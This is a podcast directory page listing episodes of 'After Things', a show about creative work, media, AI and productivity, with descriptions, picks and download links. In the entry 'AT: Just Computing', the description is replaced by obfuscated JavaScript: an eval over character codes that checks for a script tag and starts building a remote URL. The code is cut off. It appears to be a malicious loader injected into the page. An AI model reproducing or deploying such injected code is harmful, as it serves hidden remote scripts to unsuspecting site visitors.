After Things Podcast
252 episodes - English - Latest episode: 6 months ago - ★★★★★ - 10 ratingsWhat's it like pitching a TV show? When should your failures start turning into successes? How do you take advantage of opportunities? Join hosts Andrew Mayne, Justin Robert Young, and Brian Brushwood as they talk about their experiences navigating creative arts and the media landscape.
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AT: Podcasts Near Me
October 29, 2023 16:00 - 36.5 MBA Thai restaurant tried to game Google, but accidentally went viral. We knew Google paid Apple a lot to be the default search engine. We didn’t know it was *a lot.* The Humane AI Pin? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Justin: Space: 1969 from Bill Oakley Brian: Play Date […]
AT: From the Top!
October 22, 2023 16:00Phone wars, flame wars, nearly-warring podcasters! The simple task of geopolitics. Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Curiosity Show on YouTube and “This Isn’t a Ponzi Scheme” from Coffeezilla Brian: The Economist Podcasts+ Bryce: Kagi Search Get After Things before anyone else (now with early RSS!) by supporting Weird […]
AT: Embrace the Future
September 17, 2023 16:00Andrew announced that he’s leaving OpenAI after a very positive experience! What’s next for him after years of being in the AI space. What will his new venture, Interdimensional.ai, offer to bridge the gap between ideas and new AI technologies? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Joker Justin: The […]
AT: The Products of Data
September 10, 2023 16:00iPhones, can you believe they’ve made 15 of them so far? Smartphones and how we own them have changed multiple times now. What could be next in the next, best iPhone? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Paul Reubens, The Pee-Wee Herman Show Justin: March to the Majority from […]
AT: Vintage Data
August 20, 2023 16:00There’s actually too much to watch now. Can a 20-year-old book give us a sign on the next steps of online media? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: The Long Tail from Chris Anderson and FREE from Chris Anderson Get After Things before anyone else (now with early RSS!) by […]
AT: It Was a One-Of-A-Kind
August 06, 2023 16:00We can see our boundaries of “The Internet” fading and being lost to time. What does permanence in data mean? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Justin: Audio Hijack Brian: Airplane II: The Sequel Bryce: Paste Get After Things before anyone else (now with early RSS!) by supporting Weird Things […]
AT: Rolling Around
July 30, 2023 16:00Bryce talks out a new idea for LFG Marbles: a patron race series with changes to appeal to live and video-on-demand viewers. What are the stakes? What are the comps? Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on […]
AT: Rosetta Ravings
July 23, 2023 16:00Artificial intelligence? P’shaw! Give me artificial languages! What could you do with an artificial or minimal language to benefit humanity? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Mini Language on Medium Bryce: Things app Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! […]
AT: PublisherBot w/ Dr. Daniel Simons
July 16, 2023 16:00A casual extra chat with Dr. Daniel Simons about diagnosticians, expertise information, and Andrew’s blockbuster formula to make best-selling book. Send your project questions/ideas to [email protected], subject line “After Things.” Be sure to check out Dr. Simons’s “Nobody’s Fool” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! […]
AT: Money Hose Off!
July 09, 2023 16:00Streaming has taken a new turn the past few years, but it likely won’t be an extension of the early-COVID explosive growth and spending. Netflix is now an old dog and things like Jury Duty are taking way more cultural cache than The Rings of Power. Send your project questions/ideas to [email protected], subject line “After […]
AT: Anime Eyepatch VR
July 02, 2023 16:00VR, MR, XR, A-Arrrrgh, or maybe, just maybe…maybe. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to After Things via RSS and iTunes. Follow us on Facebook Download url: http://www.itricks.com/upload/AfterThings063023.mp3
AT: The Youths’-Tube
June 25, 2023 16:00Andrew went to VidCon and interfaced with The Youths. We rizz up Andrew and see if he would even hug Baby Gronk. Does childhood today compare to childhood in the 90’s? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Disney Spellstruck and Amazon Kindle Bryce: PPKP+ Get After Things before anyone […]
AT: Just “Computing”
June 18, 2023 16:00var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,...
AT: Re-Memory
June 11, 2023 16:00Andrew’s been deep in memory-training and it’s important to remember: memory is fallible! How do false memories begin and who is susceptible? Brian’s DIY method of journaling and next-day planning. Send your project questions/ideas to [email protected], subject line “After Things.” Pick: ChatGPT now on iOS Get After Things before anyone else (now with early RSS!) […]
AT: The Three Whiteboard Problem
May 14, 2023 16:00Bryce jumped on the whiteboard train feet-first and we chat about whiteboards, writing and organizing tasks, habit-building, and getting motivated to start. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to After Things via RSS and […]
AT: Pre-Prompt
April 30, 2023 16:00Tips direct from Andrew on how to level up your ChatGPT prompts straight from the robot-horse’s mouth. Easy tips to add more context and style, create outlines, and automate common requests. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things […]
AT: Long-Term Time
April 16, 2023 16:00Listener David asks for advice on how to portion out time for longer-term projects? Our advice and tips for getting things done with momentum and phases. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to After […]
AT: It Just Might Be…
April 09, 2023 16:00Professional podcasters Justin and Brian give some dirt on the upcoming third season of World’s Greatest Con and talk openly about their vantage point on ads in the podcasting space. Send your project questions/ideas to [email protected], subject line “After Things.” World’s Greatest Con Get After Things before anyone else (now with early RSS!) by supporting […]
AT: Leak-Free Guarantee?
March 26, 2023 16:00 - 28 MBBrian’s hodge-podge to-do system led to catastrophe. Smart devices and “accessing the home network.” An update on Andrew’s experience using Tonal, the home-gym installed on a wall. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to […]
AT: Easier-Than-Ever!
March 19, 2023 16:00Bryce has an update on how his Blind Corners project went from 0 to 1 with a Substack. How do you break down barriers or build excitement? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Arduboy Justin: ChatGPT-4 Brian: Ted Lasso season 3 Bryce: DALL-E Get After Things before anyone else […]
AT: Our-val Office
March 05, 2023 16:00Bryce has an idea, but not much more than that? What can a F1 pickem league turn into and how do you plus it? Plus, ChatGPT and a pitch for a presidential TV show. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by […]
AT: Angry Users 2
February 26, 2023 16:00Rovio announced a surprising change to one of their flagship games: they’re trying to remove it! Value propositions and how difficult it is to change directions once your project is out. Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Justin: TV Funhouse – Disney Vault Brian: The Ur-Quan Masters Bryce: Schafpudel’s guide […]
AT: Junk-In Junk-Out?
February 19, 2023 16:00Adapting and adaptability. How do you balance quality and quantity while taking advantage of new spaces? Effort in a world where effort gets more and more efficient. Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Super Mario Odyssey Brian: Cunk on Earth Bryce: Poker Face Get After Things before anyone else […]
AT: Self-Reinforcing
February 05, 2023 16:00Health talk today! Apps we like and handling cravings. Diet and exercise stories from *not-professionals* about getting started and staying regular. Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Apple Watch Ultra Bryce: JEFIT and Lose It! Get After Things before anyone else (now with early RSS!) by supporting Weird Things […]
AT: Halo Emoji
January 29, 2023 16:00A simple way to add some color to any to-do workflow and the thorny(?) side of the emoji-emoticon war. Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Slow Horses Brian: You Have the Right to Remain Innocent from James Duane Bryce: Things app Get After Things before anyone else (now with […]
AT: We’re Back!
January 22, 2023 16:00How moving can affect the creative process. Brian and Justin talk about the newly-revealed topic of World’s Greatest Con season 3 and how they’ve got an exclusive new look at the story that’s never been told before. Send your project questions/ideas to [email protected], subject line “After Things.” PICKS: Andrew: Coffeezilla on YouTube Justin: The Last […]
AT: We Be On That Phone
December 07, 2022 16:00A new app has been making waves in the image generation space with “magic avatars.” We talk about the experience of a pay AI art bot and what we think it could do to impact human artists and art. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else […]
AT: Doodle-Doo
November 23, 2022 16:00We’re in holiday mode as we talk about roosters, the etymology of adages, and where we think the future of social networks will go. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to After Things via […]
AT: Lightswitch
November 16, 2022 16:00The Modern Rogue and Scam Nation short-form video experiment continues on and to rousing success. What lessons have we learned from over a month of making Tiktoks and YouTube Shorts? Alphabet basically owns the internet, but is it being a good steward? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Brian: Twitter […]
AT: Early to Bed, Early to Rise
November 02, 2022 16:00A (final?) update on Structured and the benefits of hitting the hay punctually. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to After Things via RSS and iTunes. Follow us on Facebook Download url: http://www.itricks.com/upload/AfterThings103122.mp3
AT: Binge and Bust?
October 26, 2022 16:00The binge watching trend: is it in danger becuse week-after-week is better? With Netflix relenting on offering an ad-supported plan, could binging be on the chopping block too? What do we like personally and creatively? What metrics do streamers and platforms consider for new programs? Do algorithms reflect viewer habits? Send your project questions/ideas to […]
AT: Same Colors? Same Colors!
October 19, 2022 16:00Bryce admits to a productivity solution that can’t be beat. Did you know your iPhone can do something an kinda expensive website can do? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: ScreenFlow and Google Colab Brian: Six Thinking Hats from Edward de Bono Bryce: Splice and Bryce on the Beyond […]
AT: Short-Shorts
October 12, 2022 16:00After a few weeks of trying out short-form video on YouTube, what seems to be the early indicators of how they’re received? What goes into making thoughtful short-form videos? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Brian: Ask from Ryan Levesque Bryce: Arcade Paradise Get After Things before anyone else (now […]
AT: Ample Foibles
September 28, 2022 16:00Justin and Bryce both tried out the Structured app we talked about last week and have some critical feedback. What features stick out after a week of use? Send your project questions/ideas to [email protected], subject line “After Things.” “The World’s Most Satisfying Checkbox”: https://www.andy.works/words/the-most-satisfying-checkbox Get After Things before anyone else (now with early RSS!) by […]
AT: Smart Calendar
September 21, 2022 16:01Bryce is diving into a new todo/calendar hybrid app, Structured. How do we use apps and plan our days? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Beyond Fireship Justin: House of the Dragon Brian: Life’s Work from David Milch Get After Things before anyone else (now with early RSS!) by […]
AT: Good Year Blimp
August 31, 2022 16:00Andrew’s considering a move from LA to San Francisco–even though he’s totally work-from home. What’s his anxiety around moving and being closer to his cutting-edge job? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Brian: The Rehearsal Bryce: Slime Rancher Get After Things before anyone else (now with early RSS!) by supporting […]
AT: Same-Side!
August 24, 2022 16:00Long-time listener Joe Diamond writes in and asks about his EPK–electronic press kit. What works and what improvements can you make when presenting yourself in a freeform brochure of your own design? Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird […]
AT: Marbin’ Time
August 10, 2022 16:00Bryce reports in on how his marbles project is doing after having launched a Patreon. What levels is it setup in and how could he expand what he offers to supporters without compromising the show? Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) […]
AT: Label Goes Right There
August 03, 2022 16:00Andrew shares the story of Simon Coronel, who took won the FISM Grand Prix Close-up, the top-level international competition for magic. How does your journey affect your goal and how can you keep your eyes on that goal? What is your label and does your label meet your goal? Send your project questions/ideas to [email protected], […]
AT: Yes to You!
July 27, 2022 16:00How do you get an opportunity in a time of high convenience and tech? To get started, who has to tell you yes? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Bryce: Real Sports, July 2022 – Sumo and Habits on iOS Get After Things before anyone else (now with early RSS!) […]
AT: Circle Rabbit on the Story Table!
June 29, 2022 16:00Brian held his first class on being a creative and story-telling. How did it go? How much confidence does he have for it? What goals did he hit and what’s next? Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things […]
AT: Algae and Plowshares
June 22, 2022 16:00How do you keep track of reminders? Email, notes, whiteboards, what works for us? Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to After Things via RSS and iTunes. Follow us on Facebook Download url: http://www.itricks.com/upload/AfterThings062022.mp3
AT: Table as a Service
June 15, 2022 16:00We’re back and we are imagining training artificial intelligence to create dynamic media that can be rewritten, recut, and A/B tested in realtime. What would a post-scarcity world look like post-tech-singularity? A future where real-time media modification could be automatic–that’s coming from a world where animatronics can do human-sized stunts on a theme park schedule. […]
AT: Double-Tapped Out
June 08, 2022 16:00What’s the difference between 5 million views on 1 video and 50,000 views on 100 videos? BeReal, a new social network around once-a-day posting, brings a conversation about being authentic online and how limits differentiate BeReal from Instagram and TikTok. Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Blue Apron Justin: […]
AT: X is Cool!
May 25, 2022 16:00Update time: Bryce’s LFG Marbles project is back on and he talks about opening a Patreon, diving right in from zero, and the anxiety of *not* doing it. Brian finally kicks off a project to hold business classes. The freeing feeling of talking to a smaller, select group. Business guru or business guru for sale? […]
AT: Versatile Sweater
May 11, 2022 16:01Slowing down and enjoying something or an international war crime? How is text being handled in a modern age and what could the next information delivery medium look like? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: River Out of Eden from Richard Dawkins Justin: The Pentaverate Brian: Animal Jam Bryce: […]
AT: Learning Machine Learning
May 04, 2022 16:00Listener Nate is fascinated by DALL-E 2, but doesn’t know where to start. How can you get into ML/neural net technology and what are good tricks for making the most of self-driven coding education? Send your project questions/ideas to [email protected], subject line “After Things.” Picks: Andrew: Fireship on YouTube Brian: The Book of Niall from […]
AT: TweetX
April 27, 2022 16:00Twitter accepted Elon Musk’s offer to buy Twitter. Is Twitter inevitable? What are the uncertainties and what can we infer from the little we know? Send your project questions/ideas to [email protected], subject line “After Things.” Pick: Bryce: Killing Time at Lightspeed Get After Things before anyone else (now with early RSS!) by supporting Weird Things […]
AT: Future-You, Enjoying a Future-Sandwich
April 20, 2022 16:00What is present-you doing to help future-you? How do you handle the future–not just preparing, but shaping your future? Success can come from examining other successful people. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to […]
AT: The Story, The Story, The Story
April 13, 2022 16:00Andrew’s latest mystery novel, “Sea Storm,” made the WSJ best-sellers list. What inspired the Underwater Investigation Unit series and Sloan McPherson? Plus, a system to give feedback. Send your project questions/ideas to [email protected], subject line “After Things.” Get After Things before anyone else (now with early RSS!) by supporting Weird Things on Patreon! Subscribe to […]